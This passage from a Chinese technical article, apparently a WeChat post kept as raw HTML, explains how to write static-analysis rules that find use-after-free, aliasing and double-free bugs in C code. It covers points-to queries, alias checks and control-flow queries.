PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">流程是：先给 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">freep</span></code><span leaf=""> 打上「释放形参 0」；走 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">main</span></code><span leaf=""> 时碰到 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">freep(p)</span></code><span leaf="">，把 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">p</span></code><span leaf=""> 标成已释放；后面的 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*p = 20</span></code><span leaf=""> 就是 UAF。规则仍然写 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">$p&lt;uaf()&gt;</span></code><span leaf=""> 即可，不必自己把 freep 展开。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">跟不深的情况也要心里有数：函数指针、只在头文件里看到的声明、绕很多层才 free，摘要可能跟丢，结果是漏报，或者按 extern 走得偏保守。泄漏同样用这份摘要——包装函数里已经 free 了，caller 出口一般不再当泄漏。</span></p><div data-nest-level="2" data-pm-slice="6 2 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;visibility: visible;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 2px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;visibility: visible;"><p data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: bold;visibility: visible;">三、</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;style&#34;:&#34;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">指针审计和控制流查询</span></strong></p></div></div></div><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">结合控制流相关的 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">native call</span></code><span leaf="">（</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">getCfg、cfgReachable、cfgDominates、cfgGuards</span></code><span leaf=""> 这类）可以实现从图上 A 走到 B，对中间过程进行更加准确的审计。</span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtld44m0scw" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.666015625" data-s="300,640" data-type="png" data-w="1024" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046506" src="https://wechat2rss.xlab.app/img-proxy/?k=3196ae9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FQqzwaQadbxWlbshrKSjpMG4WxaB6xte81RKLYEdN0iaWNQ9Z31Gu0HicepD10cPvIqlod0A6IfVVJO8cxznMSUK7huWsaI9fvk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><div data-nest-level="2" data-pm-slice="6 2 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;visibility: visible;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 2px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;visibility: visible;"><p data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: bold;visibility: visible;">四：</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;style&#34;:&#34;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">规则的使用</span></strong></p></div></div></div></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="perl"><code><span leaf="">*&lt;uaf()&gt;                 <span class="code-snippet__regexp">//</span> 整个程序扫一遍，先看看有没有</span></code><br/><code><span leaf=""><span class="code-snippet__variable">$p</span>&lt;uaf()&gt;                <span class="code-snippet__regexp">//</span> 只问已经拿到的 <span class="code-snippet__variable">$p</span></span></code><br/><code><span leaf="">&lt;uaf(target=<span class="code-snippet__variable">$p</span>)&gt;         <span class="code-snippet__regexp">//</span> 和上一行一类，种子写在参数里</span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtld5q8d1yg0" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.5" data-s="300,640" data-type="png" data-w="1024" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046508" src="https://wechat2rss.xlab.app/img-proxy/?k=d3a82a02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72GyKMr1BkOEdddFZSicMnQvFf751IbMWcELRaWzJsiabPuhfzDDSib6SFX2TKYsg192ssxc9Wia5iaWFMAlzFpDGmvsX05qM3jBtm0E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">日常排查内存问题，最顺手的方式是先找到指针，再针对它提问。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;uaf()&gt;</span></code><span leaf=""> 不带主语，适合先全局扫一眼，快速看看有没有释放后使用的风险。但真正写规则时，用 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">$p&lt;uaf()&gt;</span></code><span leaf=""> 更干净——把指针变量明确写在前面，报告结果直接绑定到这个具体的指针上，省得从一堆候选里再手动定位。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">追问一个指针指向哪里，用 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;pointsTo()&gt;</span></code><span leaf="">，写法是 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">$p&lt;pointsTo()&gt;</span></code><span leaf="">。它必须跟在指针后面，因为分析器需要知道你问的是谁的指向关系。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">判断两个指针是否指向同一块内存，用 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">a&lt;aliases(target=$$b)&gt;</span></code><span leaf="">。这在检测双重释放时特别有用——先确认两个指针共享同一块内存，再看是否存在同一条路径上先后释放了两次。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">一句话总结：先锁定指针，再下诊断；</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;pointsTo()&gt;</span></code><span leaf=""> 跟在后面；比别名用 </span><code style="color: rgb(30, 107, 